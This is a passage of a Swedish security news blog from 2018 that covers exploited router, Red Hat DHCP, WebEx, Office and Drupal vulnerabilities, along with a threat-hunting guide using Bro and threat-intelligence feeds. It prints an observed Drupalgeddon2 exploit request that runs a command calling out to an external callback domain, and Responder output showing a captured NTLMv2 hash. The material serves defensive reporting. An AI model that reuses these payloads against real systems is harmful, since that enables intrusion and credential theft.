Sårbarheter i DASAN GPON utnyttjas på internet

SANS Internet Storm Center har observerat att försök för att utnyttja DASAN GPON-routrar förekommer på internet. Det är specifikt sårbarheterna CVE2018-10561 samt CVE2018-10562 som utnyttjas. Där den första av dessa två ger en obehörig användare möjlighet att exekvera kommandon på routern.

Följande bild illustrerar försöken till att utnyttja sårbarheterna:

Bildcredd: ISC

VPNMentor har mer information om denna sårbarhet som berör över en miljon hemmaroutrar.

 

Ny intressant sårbarhet i Redhat Linux

En säkerhetsforskare på Google har identifierat en sårbarhet i operativsystemet Redhat Linux och dess derivat såsom Fedora. Sårbarheten återfinnes i DHCP-hanteringen och gör det möjligt för en angripare på samma nätverk att exekvera kod (RCE).

Så här skriver Redhat i det varningsmeddelande som publicerats:

”A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.”

Sårbarheten med CVE-2018-1111 är så enkel att utnyttja att den får plats i en tweet:

Och det är klart att det blir problem, för tittar man närmare på den kod som hanterar DHCP-parsningen i ett shellscript via NetworkManager:

Threat Hunting med Bro, Critical Stack och AlienVault OTX

Threat Hunting eller Cyber Threat Hunting som det också kallas har varit ett modeord inom cybersäkerhetsbranschen sedan några år. Och förra året så skrev jag på LinkedIn om vad det är för något. Kort och gått så jobbar du efter en eller flera teser och försöker identifiera antagonister i dina IT-system.

I denna guide tänkte jag gå igenom hur du med hjälp av Bro samt threat-feeds från Critical Stack samt AlienVaults OTX.

AlienVault OTX

Open Threat Exchange (OTX) är en tjänst där du kan dela med dig av Indicators of Compromise (IOC). Jag har exempelvis lagt upp IOC:er för domännamn som anropas från en bakdörr som återfinnes i ett Chrome Extension. Tjänsten är gratis att använda och har ett API där du kan med hjälp av en API-nyckel ladda hem IOC:er som andra eller du själv har lagt upp.

Critical Stack

Intel Feed från företaget Critical Stack är också en gratis tjänst där du kan ladda hem en aggregerad lista med IOC:er. Denna lista som du ladda hem innehåller flertalet andra listor som du själv väljer. Och upp till 160 olika listor finns att välja på hos Critical Stack. Jag har valt 155 st där jag aktivt har valt bort fem stycken listor som ger false-positive larm:

  • hosts-file.net Ad/Tracking Domains
  • sysctl.org Domain Blocklist (Ads)
  • Known Tor Exit Nodes
  • hosts-file.net Misleading Marketing Domains
  • torproject.org Official Exit Node List

Installation

Denna guide förutsätter att du redan har open-source IDS:en Bro installerat. Du kan exempelvis använda min favorit, Linux-disten Security Onion där Bro finns färdiginstallerat.

Jag har inför denna guide sparat ner PCAP-filer för ungefär ett års datatrafik där jag kommer att gå igenom samtliga filer efter indikatorer från listorna ovan. Men du behöver inte köra mot nersparade pcap-filer, för listorna går även att köra direkt mot realtidstrafik i Bro.

Installation Critial Stack

Du kan antingen köra den mer osäkra vägen via Packagecloud eller installera deb-paktet:

curl https://packagecloud.io/install/repositories/criticalstack/critical-stack-intel/script.deb.sh | sudo bash

Eller:

wget https://intel.criticalstack.com/client/critical-stack-intel-arm.deb
sudo dpkg -i critical-stack-intel-arm.deb

Sedan måste du skapa ett konto på Criticalstack för i nästa steg ska du skriva in din API-nyckel (key)

sudo -u critical-stack critical-stack-intel api abc-123API-nyckel

Nedan skärmdump påvisar förfarandet då jag laddar hem den aggregerade listan och skriver samtliga IOC:er till filen master-public.bro.dat

För att sedan uppdatera löpande så kan du lägga ett cron-jobb för att uppdatera eller manuellt köra:

sudo -u critical-stack critical-stack-intel pull

Vi kan sedan verifiera hur många IOC:er vi fick hem genom att kontrollera antalet rader i

$ wc -l /opt/critical-stack/frameworks/intel/master-public.bro.dat
81442 /opt/critical-stack/frameworks/intel/master-public.bro.dat

Och indikatorerna är uppdelade på följande typer:

  • 42815 st Intel::DOMAIN
  • 37097 st Intel::ADDR
  • 1043 st Intel::FILE_HASH
  • 477 st Intel::URL
  • 4 st Intel::FILE_NAME
  • 1 st Intel::EMAIL

För mer information om Bro:s Intelligence Framework kan du läsa här.

Installation Alienvault OTX

Först registrerar du dig för ett gratis-konto och får sedan tillgång till en API-nyckel. Sedan klonar vi ner ett projekt från Github som heter Alienvault OTX Bro IDS Connector. Viktigt här är att vi klonar ner projektet till rätt katalog.

Eller så kör vi detta script som automatiserar förfarandet:

wget https://raw.githubusercontent.com/weslambert/securityonion-otx/master/securityonion-otx

sudo bash securityonion-otx

Om allt går vägen så laddas IOC:erna hem till filen otx.dat och vi kan kontrollera antalet rader:

securityonion$ wc -l /opt/bro/share/bro/policy/bro-otx/otx.dat
 39015 /opt/bro/share/bro/policy/bro-otx/otx.dat

Och kollar vi på uppdelningen gällande vilka typer så skiljer det sig något mot Critical Stacks indikatorer:

  • 17354 st Intel::DOMAIN
  • 15018 st Intel::FILE_HASH
  • 5969 st Intel::URL
  • 594 st Intel::ADDR
  • 75 st Intel::EMAIL

Analysera PCAP-filerna

Nu är det bara sista steget kvar och det är att köra bro direkt mot pcap-filerna. Jag brukar göra ett enkelt shellscript på 4-5 rader som loopar igenom alla sparade pcap-filer och skapar en ny katalog för varje dag (om du lagrar en fil per dag).

En av fördelarna med att köra Bro istället för att enbart titta på käll- och destinations- IP-nummer är att Bro avkodar och tittar i protokoll. Såsom om certifikatet i en TLS-förbindelse har ett CN (CommonName) som matchar en IOC.

Jag kör Bro med följande argument:

time bro -r filnamn.pcap local "Site::local_nets += {10.0.0.0/8}"

Jag hoppas att denna guide kan hjälpa dig att identifiera intrång. Du kommer troligtvis även att behöva filtrera bort en hel del falska positiva larm.

Sårbarhet identifierad i hantering av PGP/GPG och S/MIME

Uppdatering: Sajten efail.de är uppe och har mer information om sårbarheterna. PDF finns länkad här.

En grupp med säkerhetsforskare har gått ut med en förhandsvarning gällande en eller flera sårbarheter som kommer att släppas imorgon den 15:de Maj 2018. Det gäller främst följande mjukvaror som hanterar PGP och S/MIME:

  • Thunderbird med Enigmail
  • Apple Mail med GPGTools
  • Outlook med Gpg4win

Använder du någon av ovanstående mjukvaror så bör du omedelbart stänga av funktionen för automatisk dekryptering av PGP- och S/MIME-mail alternativt avinstallera mjukvaran tills det att en säkerhetspatch har släpps.

Sårbarheten kan göra det möjligt att komma åt tidigare krypterade meddelanden i klartext.

Så här skriver Sebastian Schinzel på sin twitter:

Källa: EFF

 

Unfetter – NSA:s nya verktyg för att upptäcka avancerade cyberattacker

Den amerikanska myndigheten NSA har tillsammans med det icke vinstdrivande företaget Mitre utvecklat ett nytt verktyg vid namn Unfetter. Med hjälp av detta verktyg så kan en organisation effektivare identifiera cyberattacker genom att fokusera på att upptäcka beteendebaserad metodik istället för indikatorer samt inspireras av Mitres tidigare projekt vid namn CAR och ATT&CK.

Verktyget finns tillgängligt som open-source via Github och jag har givetvis testat verktyget.

Först och främst så klonade jag hem repot som innehåller docker-compose.yml vilket används av Docker. Sedan skrev jag docker-compose up i katalogen för att ladda hem och starta upp sex stycken containers:

NSA unfetter Docker composer up

Den container som heter unfetter-discover-gateway ser till att exponera tcp port 80 samt 443 och surfar vi sedan in på https://localhost så möts vi (förutom ett certifikatfel) följande bild:

Där jag sedan har möjlighet att navigera vidare till någon av de vyer som finns förinstallerade via Kibana:

  • Threat Dashboard
  • Analytic Exchange
  • Assessments
  • Assessments 3.0
  • Intrusion Set Dashboard
  • Events Dashboard
  • API Explorer
  • STIX

Tanken är alltså att du ska skicka in data från olika klienter och servrar med hjälp av NXlog och sysmon exempelvis.

Följande övergripande arkitekturbild visar hur det hänger ihop:

Givetvis så följer det även med exempelkonfigurationer till både nxlog och sysmon.

Men den kanske mest intressanta frågan är: Hur upptäcks avancerade cyberattacker? Det är genom att koppla ihop olika indikatorer, exempelvis denna:

CAR-2016-04-005: Remote Desktop Logon

Vilket implementerar ungefär (pseudokod) följande regler på inkommande analyserade loggar:

[EventCode] == 4624 and
[AuthenticationPackageName] == 'Negotiate' and
[Severity] == "Information" and
[LogonType] == 10

A remote desktop logon, through RDP, may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.

Dessa indikatorer kan sedan kopplas mot Mitres ATT&CK och olika grupperingar såsom Equation Group (EQGRP) och deras modus operandi. Dock verkar det inte gå automatiskt i dagsläget och så här ser Intrusion Set Dashboard ut för Equation:

Equation Group

Vi kan även se att Equation har 2 av 219 attack patterns i det intrusion set som följer med Unfetter. För den som vill se hur logstash är konfigurerad mot sysmon kan kolla in följande konfigg-fil på Github.

NSA framhäver även att Unfetter inte är färdigt för att användas i produktion ännu:

This is not designed for production use

Sårbarhet i Ciscos WebEx-konferenssystem

En ny sårbarhet har identifierats i Ciscos system för uppkopplade konferenser. Buggen har CVE-2018-0264 och är en RCE (fjärrexekvering av kod). Sårbarheten återfinnes i hanteringen av Advanced Recording Format (ARF) och denna kod återfinnes i både klienter och serverdelen i WebEx.

Sårbarheten har fått en CVSS Score på 9.6 vilket är nästan det högsta möjliga och är således en bugg som är lätt att utnyttja, men kräver dock användarinteraktion (någon klickar på en fil troligtvis).

  • Cisco WebEx Business Suite (WBS31) klienter före version T31.23.4
  • Cisco WebEx Business Suite (WBS32) klienter före version T32.12
  • Cisco WebEx Meetings med klienter före version T32.12
  • Cisco WebEx Meeting Server med versioner före 3.0 Patch 1

Detta är inte den enda buggen som på kort tid drabbat Ciscos WebEx-system, även CVE-2018-0112 som drabbade klienter som har WebEx installerat.

 

Twitter läckte lösenord

Twitter gick ut med ett meddelande till samtliga 300+ miljoner användare gällande att lösenord har läckt. Samtliga lösenord på mikrobloggen Twitter är hashade med algoritmen bcrypt, men har nu läckt i ett internt system och därför uppmanas alla användare byta sina lösenord. Lösenorden i klartext har enbart varit tillgängliga i en intern loggfil som enbart varit tillgänglig för anställda.

Twitter skriver på sin blogg:

“Due to a bug, passwords were written to an internal log before completing the hashing process,” he continued. “We found this error ourselves, removed the passwords, and are implementing plans to prevent this bug from happening again.”

Följande rekommendationer kommer från Twitter gällande lösenord:

  1. Byt ditt lösenord på Twitter och andra tjänster om du haft samma lösenord
  2. Använd ett starkt lösenord och återanvänd inte detta lösenord på andra tjänster
  3. Använd tvåfaktorsautentisering
  4. Använd en lösenordshanterare som ser till att du använder starka och unika lösenord för alla dina tjänster

Skärmdump på meddelandet som visas till samtliga användare:

Cisco Smart Install (SMI)

Amerikanska US-CERT gick i förrgår ut med en varning tillsammans med DHS, FBI och brittiska NCSC. Varningen gäller attacker som utförs mot Cisco-enheter som har funktionen Smart Install (SMI) aktiverad.

Enligt varningen så används verktyget Smart Install Exploitation Tool (SIET) som släpptes 2016 och som finns på Github. Även så pekas Ryssland ut som en aktör som står bakom dessa attacker mot amerikansk infrastruktur. Det som också är intressant är att SMI kan bl.a. användas för att ändra operativsystemet i Cisco-enheten, skapa GRE-tunnlar för mitm eller läsa av trafik.

SMI går på tcp port 4786 och så här ser statistik ut för skanningar:

Källa: ISC

Tittar vi på historiken gällande Cisco Smart Install så ser den inte bra ut:

Ciscos rekommendation gällande SMI lyder enligt följande:

port 4786 should be exposed to the “integrated branch director” (IBD) router only.

Även så har Ciscos Thalos-grupp släppt ett verktyg för att kontrollera om SMI är öppet som heter smi_check.

Uppdatering 1: Denna presentation från konferensen Zeronights som hålls i Ryssland är intressant. December 2016: https://2016.zeronights.ru/wp-content/uploads/2016/12/CiscoSmartInstall.v3.pdf

Uppdatering 2: Leif Nixon visade på att det finns många enheter på Shodan i Sverige:

Informationsläckage i Microsoft Office

Jag tog en titt på CVE-2018-0950 som är en informationsläckage-bugg i Office. Denna säkerhetsbrist åtgärdades av Microsoft för några veckor sedan och upptäcktes av Will Dormann på CERT-CC.

Buggen går ut på att du kan få Outlook att automatiskt gå ut och ladda in externt innehåll utan att användaren frågas om detta.

Följande bild förevisar detta tydligt:

Genom att skicka ett RTF-mail där ett externt OLE-objekt återfinnes så laddas detta externa OLE-objekt automatiskt in.

Och vet du vad mer detta innebär? Jo, du kan köra Responder.py och få ut NTLMv2-hashen från användaren:

[SMB] NTLMv2-SSP Client   : 192.168.153.136
[SMB] NTLMv2-SSP Username : DESKTOP-V26GAHF\test_user
[SMB] NTLMv2-SSP Hash     : test_user::DESKTOP-V26GAHF:1122334455667788:571EE693342B161C50A73D502EB49B5A:010100000000000046E1992B4BB2D301FFADACA3241B6E090000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000D3BDB30B62A8937256327776471E072C7C6DE9F4F98458D1FEA17CBBB6AFBA770A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100350033002E003100330038000000000000000000

Även om du applicerar patchen som släpptes av Microsoft så kvarstår problemet att du kan skicka UNC-länkar, dvs som börjar med \\.

Därav är det viktigt att blockera utgående SMB (445/tcp, 137/tcp, 139/tcp men även 137/udp och 139/udp) samt läs detta från Microsoft gällande NTLM SSO, ADV170014.

Drupal RCE nu ute

Den mycket kritiska sårbarhet som jag bloggade tidigare om som åtgärdats i Drupal har nu börjat att utnyttjas på Internet. ISC som först rapporterade om detta såg scanningar där följande mönster dök upp:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: <hostname>
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 162
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=ping <hostname>.mu6fea.ceye.io -c 1

Just denna payload försöker enbart att identifiera sårbara Drupal-installationer genom att köra en enkel ping med argumentet -c 1, dvs count 1. Även om många blockerar utgående trafik så kan DNS släppas ut genom brandväggar. Den subdomän under mu6fea.ceye.io har en wildcard-pekning och kan således unikt identifiera varje DNS-läckage och sårbar installation.

Ser man på whois-data för ceye.io så pekar namnservrarna till:

Name Server: NS1.HACKERNEWS.CC
Name Server: NS2.HACKERNEWS.CC

Vilket är en kinesisk nyhetssajt.

Rekommenderad åtgärd är att uppgradera Drupal till version 7.58 eller 8.5.1

Uppdatering: Denna one-liner kan också användas: